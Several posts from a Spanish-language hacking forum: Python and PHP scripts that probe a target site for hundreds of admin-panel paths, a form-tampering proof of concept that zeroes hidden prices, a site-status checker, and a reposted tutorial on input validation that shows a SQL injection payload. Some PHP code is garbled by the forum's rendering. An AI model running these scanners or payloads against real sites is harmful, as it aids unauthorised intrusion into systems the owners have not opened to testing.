Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 2Fac3R

#1
Scripting / Admin Panel Finder [By 2Fac3R]
29 Julio 2015, 21:09 PM
Les dejo este Admin Panel Finder en Python (acabo de publicar uno en PHP jeje) espero les sea de utilidad.

Código (python) [Seleccionar]
# -----------------------------#
                        # Admin Panel Finder By 2Fac!  #
                        #         v1.0 2013            #
                        #                              #
                        #          UnderC0de           #
                        # -----------------------------#
 
     
import os, sys, httplib
     
os.system("clear")
panel = ["/admin1.php", "/admin1.html", "/admin2.php", "/admin2.html", "/yonetim.php", "/yonetim.html",
"/yonetici.php", "/yonetici.html", "/ccms/", "/ccms/login.php", "/ccms/index.php", "/maintenance/",
"/webmaster/", "/adm/", "/configuration/", "/configure/", "/websvn/", "/admin/", "/admin/account.php",
"/admin/account.html","/admin/index.php","/admin/index.html", "/admin/login.php", "/admin/login.html",
"/admin/home.php", "/admin/controlpanel.html", "/admin/controlpanel.php", "/admin.php", "/admin.html",
"/admin/cp.php", "/admin/cp.html", "/cp.php", "/cp.html", "/administrator/", "/administrator/index.html",
"/administrator/index.php", "/administrator/login.html", "/administrator/login.php",
"/administrator/account.html", "/administrator/account.php", "/administrator.php", "/administrator.html",
"/login.php", "/login.html", "/modelsearch/login.php", "/moderator.php", "/moderator.html",
"/moderator/login.php", "/moderator/login.html", "/moderator/admin.php", "/moderator/admin.html",
"/moderator/", "/account.php", "/account.html", "/controlpanel/","/admincontrol.php","/admincontrol.html",
"/adminpanel.php","/adminpanel.html","/admin1.asp","/admin2.asp","/yonetim.asp","/yonetici.asp",
"/admin/account.asp","/admin/index.asp","/admin/login.asp","/admin/home.asp","/admin/controlpanel.asp",
"/admin.asp","/admin/cp.asp","/cp.asp","/administrator/index.asp","/administrator/login.asp",
"/administrator/account.asp","/administrator.asp","/login.asp","/modelsearch/login.asp","/moderator.asp",
"/moderator/login.asp","/moderator/admin.asp","/account.asp","/controlpanel.asp","/admincontrol.asp",
"/adminpanel.asp","/fileadmin/","/fileadmin.php","/fileadmin.asp","/fileadmin.html","/administration/",
"/administration.php","/administration.html","/sysadmin.php","/sysadmin.html","/phpmyadmin/","/myadmin/",
"/sysadmin.asp","/sysadmin/","/ur-admin.asp","/ur-admin.php","/ur-admin.html","/ur-admin/","/Server.php",
"/Server.html","/Server.asp","/Server/","/wp-admin/","/administr8.php","/administr8.html","/administr8/",
"/administr8.asp","/webadmin/","/webadmin.php","/webadmin.asp","/webadmin.html","/administratie/","/admins/",
"/admins.php","/admins.asp","/admins.html","/administrivia/","/Database_Administration/","/WebAdmin/",
"/useradmin/","/sysadmins/","/admin1/","/system-administration/","/administrators/","/pgadmin/","/directadmin/",
"/staradmin/","/ServerAdministrator/","/SysAdmin/","/administer/","/LiveUser_Admin/","/sys-admin/","/typo3/",
"/panel/","/cpanel/","/cPanel/","/cpanel_file/","/platz_login/","/rcLogin/","/blogindex/","/formslogin/",
"/autologin/","/support_login/","/meta_login/","/manuallogin/","/simpleLogin/","/loginflat/","/utility_login/",
"/showlogin/","/memlogin/","/members/","/login-redirect/","/sub-login/","/wp-login/","/login1/","/dir-login/",
"/login_db/","/xlogin/","/smblogin/","/customer_login/","/UserLogin/","/login-us/","/acct_login/",
"/admin_area/","/bigadmin/","/project-admins/","/phppgadmin/","/pureadmin/","/sql-admin/","/radmind/",
"/openvpnadmin/","/wizmysqladmin/","/vadmind/","/ezsqliteadmin/","/hpwebjetadmin/","/newsadmin/","/adminpro/",
"/Lotus_Domino_Admin/","/bbadmin/","/vmailadmin/","/Indy_admin/","/ccp14admin/","/irc-macadmin/",
"/banneradmin/","/sshadmin/","/phpldapadmin/","/macadmin/","/administratoraccounts/","/admin4_account/",
"/admin4_colon/","/radmind-1/","/Super-Admin/","/AdminTools/","/cmsadmin/","/SysAdmin2/","/globes_admin/",
"/cadmins/","/phpSQLiteAdmin/","/navSiteAdmin/","/server_admin_small/","/logo_sysadmin/","/server/",
"/database_administration/","/power_user/","/system_administration/","/ss_vms_admin_sm/","/administrador",
"/administracion","/moderacion","/moderador","/phpMyAdmin/","/phpmyadmin/","/PMA/","/admin/","/dbadmin/",
"/mysql/","/myadmin/","/phpmyadmin2/","/phpMyAdmin2/","/phpMyAdmin-2/","/php-my-admin/","/phpMyAdmin-2.2.3/",
"/phpMyAdmin-2.2.6/","/phpMyAdmin-2.5.1/","/phpMyAdmin-2.5.4/","/phpMyAdmin-2.5.5-rc1/",
"/phpMyAdmin-2.5.5-rc2/","/phpMyAdmin-2.5.5/","/phpMyAdmin-2.5.5-pl1/","/phpMyAdmin-2.5.6-rc1/",
"/phpMyAdmin-2.5.6-rc2/","/phpMyAdmin-2.5.6/","/phpMyAdmin-2.5.7/","/phpMyAdmin-2.5.7-pl1/",
"/phpMyAdmin-2.6.0-alpha/","/phpMyAdmin-2.6.0-alpha2/","/phpMyAdmin-2.6.0-beta1/","/phpMyAdmin-2.6.0-beta2/",
"/phpMyAdmin-2.6.0-rc1/","/phpMyAdmin-2.6.0-rc2/","/phpMyAdmin-2.6.0-rc3/","/phpMyAdmin-2.6.0/",
"/phpMyAdmin-2.6.0-pl1/","/phpMyAdmin-2.6.0-pl2/","/phpMyAdmin-2.6.0-pl3/","/phpMyAdmin-2.6.1-rc1/",
"/phpMyAdmin-2.6.1-rc2/","/phpMyAdmin-2.6.1/","/phpMyAdmin-2.6.1-pl1/","/phpMyAdmin-2.6.1-pl2/",
"/phpMyAdmin-2.6.1-pl3/","/phpMyAdmin-2.6.2-rc1/","/phpMyAdmin-2.6.2-beta1/","/phpMyAdmin-2.6.2-rc1/",
"/phpMyAdmin-2.6.2/","/phpMyAdmin-2.6.2-pl1/","/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-rc1/",
"/phpMyAdmin-2.6.3/","/phpMyAdmin-2.6.3-pl1/","/phpMyAdmin-2.6.4-rc1/","/phpMyAdmin-2.6.4-pl1/",
"/phpMyAdmin-2.6.4-pl2/","/phpMyAdmin-2.6.4-pl3/","/phpMyAdmin-2.6.4-pl4/","/phpMyAdmin-2.6.4/",
"/phpMyAdmin-2.7.0-beta1/","/phpMyAdmin-2.7.0-rc1/","/phpMyAdmin-2.7.0-pl1/","/phpMyAdmin-2.7.0-pl2/",
"/phpMyAdmin-2.7.0/","/phpMyAdmin-2.8.0-beta1/","/phpMyAdmin-2.8.0-rc1/","/phpMyAdmin-2.8.0-rc2/",
"/phpMyAdmin-2.8.0/","/phpMyAdmin-2.8.0.1/","/phpMyAdmin-2.8.0.2/","/phpMyAdmin-2.8.0.3/",
"/phpMyAdmin-2.8.0.4/","/phpMyAdmin-2.8.1-rc1/","/phpMyAdmin-2.8.1/","/phpMyAdmin-2.8.2/",
"/phpMyAdmin-3.4.6-rc1/","/phpMyAdmin-3.4.5/","/phpMyAdmin-3.4.4/","/phpMyAdmin-3.3.10.4/",
"/phpMyAdmin-3.4.3.2/","/phpMyAdmin-3.3.10.3/","/phpMyAdmin-3.4.3.1/","/phpMyAdmin-3.4.3/",
"/phpMyAdmin-3.4.2/","/phpMyAdmin-3.4.1/","/phpMyAdmin-3.3.10.1/","/phpMyAdmin-3.4.0/","/phpMyAdmin-3.3.10/",
"/phpMyAdmin-2.1.0/","/phpMyAdmin-2.0.5/","/phpMyAdmin-1.3.0/","/phpMyAdmin-1.1.0/","/phpMyAdmin-3.3.9.2/",
"/phpMyAdmin-2.11.11.3/","/phpMyAdmin-3.3.9.1/","/phpMyAdmin-3.3.9/","/phpMyAdmin-3.3.8.1/",
"/phpMyAdmin-2.11.11.1/","/phpMyAdmin-3.3.8/","/phpMyAdmin-3.3.7/","/phpMyAdmin-2.11.11/",
"/phpMyAdmin-3.3.6/","/phpMyAdmin-3.3.5.1/","/phpMyAdmin-2.11.10.1/","/sqlmanager/","/mysqlmanager/","/p/m/a/",
"/PMA2005/","/pma2005/","/phpmanager/","/php-myadmin/","/phpmy-admin/","/webadmin/","/sqlweb/","/websql/",
"/webdb/","/mysqladmin/","/mysql-admin/"]
 
def h():
    print """
                        # -----------------------------#
                        # Admin Panel Finder By 2Fac!  #
                        #         v1.0 2013            #
                        #                              #
                        #        UnderC0de.Org         #
                        # -----------------------------#
    """
     
h()
     
def uso():
    print "\n Sintaxis : ",sys.argv[0]," <host> \n"
 
def greets():
    print """
     
    \t\tGr33tz to:
     
    \nxt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy,
    \nv1c0_h4ck, w4rning, etc, etc .
    \n\t\t\t Underc0de.Org"""
     
def res(url,path):
    con = httplib.HTTPConnection(url)
    con.request("GET",path)
    return con.getresponse().status   
     
def buscar(url):
    print "\n Searching...\n\n"
    for path in panel:
        try:
            code = res(url,path)
            if code ==200:
                print "FOUND --> "+url+path
        except(KeyboardInterrupt):
            uso()
        except:
            pass
         
if len(sys.argv) != 2 :
    uso()
     
else:
    buscar(sys.argv[1])
     
greets()


Espero que les sea de utilidad  ;D
Zalu2
#2
Nivel Web / Form-Tampering PoC
29 Julio 2015, 21:06 PM
Siguiendo con la práctica y los POC que he estado realizando, me doy cuenta que en esta sección, una de las cosas que falta es este bug llamado "Form Tampering", ya hay bastante información sobre XSS, SQLi, webshells, etc, etc. Así que empecemos.

FORM TAMPERING

Este metodo consiste en modificar los datos "ocultos" del formulario que use la web victima para algun beneficio, en este ejemplo, veremos un simple (bastante sencillo xD) ejemplo sobre un "carrito de compra", para modificar los precios de los productos.

codigo.php
Código (php) [Seleccionar]
<?php
// Form tampering bug PoC
$presupuesto 100;
$compra strip_tags($_POST['producto']);
function 
correcto(){
    global 
$compra;
    echo 
"Felicidades $compra comprado correctamente";
}
if(isset(
$_POST['producto']) && !empty($_POST['producto'])){
    if(
$presupuesto >= $_POST['v_botella']){
        
correcto();
    }else if (
$presupuesto >= $_POST['v_cervesa']){
        
correcto();
    }else{
        echo 
"Lo sentimos, no tienes los fondos suficientes";
    }
}else{
    if(isset(
$_POST['send'])){
        die(
"Debes seleccionar un producto");
    }
    echo 
"Tu presupuesto es : $presupuesto";
?>

<form action="" method="POST">
    <select name="producto">
        <option value="Botella"> Botella </option>
        <option value="Cerveza"> Cervesa </option>
    </select>
    <input type="hidden" name="v_botella" value="500">
    <input type="hidden" name="v_cervesa" value="200">
    <input type="submit" name="send" value="Comprar!">
</form>
<?}?>


Como podemos observar, tenemos los precios de los productos en un atributo "hidden". Bien, ¿Cómo podemos aprovecharnos de eso?.


MODIFICANDO CABECERAS HTTP

Lo que vamos a hacer, es "sniffear" lo que nuestro navegador manda al servidor (cabeceras http), vamos a hacer esto con el http live headers (Add-on de Firefox). Despues de instalarlo en nuestro navegador, vamos a la página donde tenemos alojado nuestro PoC y abrimos el add-on, hacemos una petición simplemente "tratando" de comprar un producto y nos damos cuenta que en el live headers nos ha salido la petición http que hemos hecho.

Algo así:

CitarHost: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://127.0.0.1/bugs/formtamp.php
Content-Type: application/x-www-form-urlencode2d
Content-Length: 60

Y:

Citarproducto=Botella&v_botella=500&v_cervesa=200&send=Comprar%21

Ahora vemos que podemos modificar los valores de los productos, cambiamos a 0 y le damos a repetir/replay

Citarproducto=Botella&v_botella=00&v_cervesa=00&send=Comprar%21

Y vuala!  ::) , hemos comprado el producto   ;)

Espero les sea de ayuda, cualquier duda, comentario y/o sugerencia publiquen aquí mismo.
Zalu2
#3
PHP / [PHP] Admin Panel Finder
29 Julio 2015, 20:59 PM
Creo que un buscador de panel de administración es muy importante a la hora de  :silbar: ya saben  :rolleyes:  así que les dejo este que lo tengo desde hace mucho.


Código (php) [Seleccionar]
<?php
set_time_limit
(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel"
;
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html"
;
function 
template() {
echo 
'
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta **********="Content-Type" *********"text/html; charset=utf-8" />
<title>Admin page Finder </title>
<style type="text/css">
h1.technique-two {
        width: 795px; height: 120px;
        background: url(http://x0rg.org/styles/blackbox_red/imageset/site_logo.gif) no-repeat top center;
        margin: 0 auto;
}
body{
    background: #070707;
    margin: 0;
    padding: 0;
    padding-top: 10px;
    color: #FFF;
    font-family: Calibri;
    font-size: 13px;
}
a{
    color: #FFF;
    text-decoration: none;
    font-weight: bold;
}
.wrapper{
    width: 1000px;
    margin: 0 auto;
}
.tube{
    padding: 10px;
}
.red{
    width: 998px;
    border: 1px solid #e52224;
    background: #191919;
    color: #e52224
}
.red input{
    background: #000;
    border: 1px solid #e52224;
    color: #FFF;
}
.blue{
    float: left;
    width: 1000px;
    border: 1px solid #1d7fc3;
    background: #191919;
    color: #1d7fc3;
}
.green{
    float: left;
    width: 1000px;
    border: 1px solid #5fd419;
    background: #191919;
    color: #5fd419;
}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<h1 class="technique-two">
        
  
  
</h1>
  
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form">
URL:<br /><input type="text" name="xploit_url" value="'
.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
404string:<br /><input type="text" name="xploit_404string" value="'
.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
<span style="float: right;"><input type="submit" name="xploit_submit" value="go for it" align="right" /></span>
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder <br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">'
;
}
function 
show($msg$br=1$stop=0$place='logbox'$replace=0) {
    if(
$br == 1$msg .= "<br />";
    echo 
"<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
    if(
$stop == 1) exit;
    @
flush();@ob_flush();
}
function 
check($x$front=0) {
    global 
$_POST,$site,$false;
    if(
$front == 0$t $site.$x;
    else 
$t 'http://'.$x.'.'.$site.'/';
    
$headers get_headers($t);
    if (!
eregi('200'$headers[0])) return 0;
    
$data = @file_get_contents($t);
    if(
$_POST['xploit_404string'] == "") if($data == $false) return 0;
    if(
$_POST['xploit_404string'] != "") if(strpos($data$_POST['xploit_404string'])) return 0;
    return 
1;
}
    
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset(
$_POST['xploit_url'])) die;
if(
$_POST['xploit_url'] == '') die;
$site $_POST['xploit_url'];
if (
$site[strlen($site)-1] != "/"$site .= "/";
if(
$_POST['xploit_404string'] == ""$false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("\r"""$list['end']);
$list['front'] = str_replace("\r"""$list['front']);
$pathes explode("\n"$list['end']);
$frontpathes explode("\n"$list['front']);
show(count($pathes)+count($frontpathes), 10'total'1);
$verificate 0;
foreach(
$pathes as $path) {
    
show('Checking '.$site.$path.' : '00'logbox'0);
    
$verificate++; show($verificate00'verified'1);
    if(
check($path) == 0show('not found'10'logbox'0);
    else{
        
show('<span style="color: #00FF00;"><strong>found</strong></span>'10'logbox'0);
        
show('<a href="'.$site.$path.'">'.$site.$path.'</a>'10'rightcol'0);
    }
}
preg_match("/\/\/(.*?)\//i"$site$xx); $site $xx[1];
if(
substr($site03) == "www"$site substr($site4);
foreach(
$frontpathes as $frontpath) {
    
show('Checking <!-- m --><a class="postlink" href="http://&#38;#39;.$frontpath.&" onclick="window.open(this.href);return false;">http://&#38;#39;.$frontpath.&</a><!-- m -->#39;.'.$site.'/ : '00'logbox'0);
    
$verificate++; show($verificate00'verified'1);
    if(
check($frontpath1) == 0show('not found'10'logbox'0);
    else{
        
show('<span style="color: #00FF00;"><strong>found</strong></span>'10'logbox'0);
        
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>'10'rightcol'0);
    }
    
}
?>


Creditos a http://x0rg.org   ;-) espero les sirva como a mi.
Zalu2
#4
PHP / [PHP] Is online? v3.0 (tool)
29 Julio 2015, 20:57 PM
Con la idea de seguir mejorando los códigos, les comparto otro que he modificado y mejorado.
Código (php) [Seleccionar]

<!DOCTYPE html>
<title> Is online? v3.0 By 2Fac3R</title>
<style>
        body,html{
                background-color:black;
                color:green;
        }
        #ok{
                font-weight:bold;
        }
        #bad{
                font-weight:bold;
                color:red;
        }
</style>
<center>
        <pre>
.___         ________         .__  .__            _________
|   | ______ \_____  \   ____ |  | |__| ____   ___\_____   \
|   |/  ___/  /   |   \ /    \|  | |  |/    \_/ __ \ /   __/
|   |\___ \  /    |    \   |  \  |_|  |   |  \  ___/|   | 
|___/____  > \_______  /___|  /____/__|___|  /\___  >___| 
         \/          \/     \/             \/     \/<___> 
        </pre>
         
<form action="" method="POST">
        URL: <input type="text" name="page" value="http://">
        <input type="submit" name="send" value="Comprobar!">
</form> <br> <i>By 2Fac3R</i> <br> <br>
 
 
<?php
error_reporting
(0);
/*
                ¿Is online? 3.0 By 2Fac3R
        Verificar si un servidor web esta online
                                                                                         */
 
function verificar($url)
{
    
$url htmlentities($url);
        if(
filter_var($url,FILTER_VALIDATE_URL) or filter_var($url,FILTER_VALIDATE_IP)){
                echo 
fopen($url,'r') ? "$url <div id='ok'>Online</div>" "$url <div id='bad'>Offline</div>";
        }else{
                echo 
'<script>alert("URL/IP no valida!");window.location=""</script>';
        }
}
  
  
if(!empty(
$_POST['page'])){
     
verificar($_POST['page']);
}
?>


<br><b>Gr33tz to:</b> <br> <br>
   
   xt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck <br>
   w4rning, Snifer, arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc, etc ... <br> <br>
   <a href="http://www.underc0de.org"><b>Underc0de.Org</b></a>
   </center>


Espero le den utilidad.
Zalu2
#5
PHP / [ENG] Validation (Hashphp.org)
29 Julio 2015, 20:54 PM
Validating User Input

As many of you might be aware, one of the staples of any web application security is to make sure that data passed to you from the user won't break your application or otherwise damage your data. Just like you'd check to see who is at the door of your house before you let them in, you'd check user supplied data to see if it is acceptable for whatever you intend to use it for.

Another reason to validate input is simply because you can provide more intuative responses to the user. They may hit a letter by accident while typing in a number. It is far more clear to the user if you inform them that they've made a mistake and allow them to correct it, rather than have the application break, or worse, have the application continue with an unexpected result.

In PHP, user input arrives as one of two types: an array, or a string. Since the most common form of validation involves checking to see if the user has provided a valid integer representation inside one of the string values, we will focus on this point.

What Could Possibly Happen If I Don't?

Well, it largely depends on what your application is doing. It could be as simple as throwing a big ugly error, but it could also be a lot worse. Take the following highly insecure code example:

Código (php) [Seleccionar]
<?php
 
$user_id 
1;
$connection mysql_connect('myserver.com''username''password');
mysql_select_db('my_database'$connection);
$query "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
$result mysql_query($query);
$row mysql_fetch_assoc($result);
 
?>


This piece of code seems simple enough. Open a connection to 'myserver.com', and select a row from 'mytable'. What could possibly go wrong? As it turns out, quite a lot. This particular piece of code has two very distinct problems which we'll look at.

First off, we're not validating the user input at all. This is a problem in cases where the program expects a certain kind of input and we don't explicitly check for that input. I've purposefully labeled the columns "int_col" and "string_col" to let you know what types they are in the table. Notice that one is specifically an integer. Now, if the user enters a non-integer value in to that column, the query will error.

What not to do

Many people will be tempted to use one or more of the following when faced with validating integers:

    Cast the input to INT
    Use ctype_digit()
    Use is_numeric()

These are all the wrong ways to approach this problem.

Why casting to INT is bad

Casting to INT is often not a good idea from the standpoint that the behaviour is confusing to the user. For example if they accidentally enter the value "123r5" casting to INT will make this value "123". This could lead to results that simply don't make sense from the user's perspective. It is a much better idea to reject the input and ask them to enter a whole number.

Why ctype_digit() is bad

ctype_digit() has two main flaws when dealing with integer validation:

    It is incapable of dealing with signed numbers, so we can't validate negative values
    If the number is cast to an INT, it will treat the values from 0 - 255 as a character rather than a number

Why is_numeric() is bad

Many people reach for is_numeric() thinking this is a good approach, and it will seem to work just fine. However the problem with is_numeric() isn't that it can't detect an integer, it is that it detects a lot more than just integers. All of the following are valid numbers to is_numeric():

    1
    1.123
    0xFF
    +0123.45e6

See the problem? If we really want just an integer, this function is too broad.

So, how do I fix it?

The best way to fix this sort of validation issue is to use php's filter library. This library is designed to help you check and sanitize user input. For example, we could change our application to use filter_var() and it might look like this:

Código (PHP) [Seleccionar]
<?php
 
// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die(
'You must enter a valid integer!');
}
 
$user_id 1;
$connection mysql_connect('myserver.com''username''password');
mysql_select_db('my_database'$connection);
$query "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
$result mysql_query($query);
$row mysql_fetch_assoc($result);
 
?>



Now if we try to enter anything but a number for $_GET['int_col'] it won't get to the point where it asks MySQL for data. These kinds of validations are perfect for form data, and can allow you to decide to render the form again with errors to inform the user that they have made a mistake, and to try again. However, we're not quite finished here just yet. There is a remaining problem. The dreaded SQL injection.

What Is an SQL Injection Attack?



An SQL injection attack is when a user injects SQL commands in to an unprotected SQL query. This can lead to a number of issues, including modifying rows you didn't intend for the user to modify, dropped tables, deleted rows, and access to possibly sensitive data. It is critical that you learn and understand how these attacks work. SQL injection attacks are arguably the most common way PHP websites get exploited. The importance can not be overstated.

Initially, in code, the part where we build our query looks like this:

Código (php) [Seleccionar]
<?
$query = "SELECT secret_data FROM mytable WHERE string_col = '{$_GET['string_col']}' AND int_col = {$_GET['int_col']} AND user_id={$user_id}";
?>


If I call: http://mysite.com/my_vulnerable_file.php?string_col=some_data%27+OR+1%3D1+--+&int_col=1 then:

    $_GET['string_col'] has a value of "some_data' OR 1=1 -- "
    $_GET['int_col'] has a value of "1"
    $user_id has a value of "1" (we set this in code, it is not a user supplied value)

When the code gets to the point where it builds the query, it winds up looking something like this:

Código (sql) [Seleccionar]
SELECT secret_data FROM mytable WHERE string_col = 'some_data' OR 1=1 -- ' and int_col = 1 and user_id = 1

Notice the double dash. This is a mysql comment token, and it will cause everything after it to be ignored. To MySQL, the query now looks like this:

Código (sql) [Seleccionar]
SELECT secret_data FROM mytable WHERE string_col = 'some_data' OR 1=1

Which is clearly now ignoring our $user_id variable, and the int_col clause in favour of what the attacker has chosen. You can probably imagine how bad this could get if instead of a SELECT the query happens to be an UPDATE or DELETE. Depending on the database library, it may also allow multiple queries to be specified in the same string, meaning the innocent SELECT could also have an entirely new query piggy-backed on to it.

How to Deal With Injection Attacks

So, we started off protecting our integer value, but what about the string value? Technically, a string could be any sequence of characters. If your program needs to allow them to be anything, we still have to protect our code. So how do we do this?

As with many things, there are several ways to deal with this problem depending on what database library you're using. To start off, we'll look at the standard mysql library used in the previous examples. The best way to avoid injection attacks when dealing with the standard mysql library, is to escape your parameters. We can do this with mysql_real_escape_string().

For example:

Código (php) [Seleccionar]
<?php
 
// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die(
'You must enter a valid integer!');
}
 
$user_id 1;
$connection mysql_connect('myserver.com''username''password');
mysql_select_db('my_database'$connection);
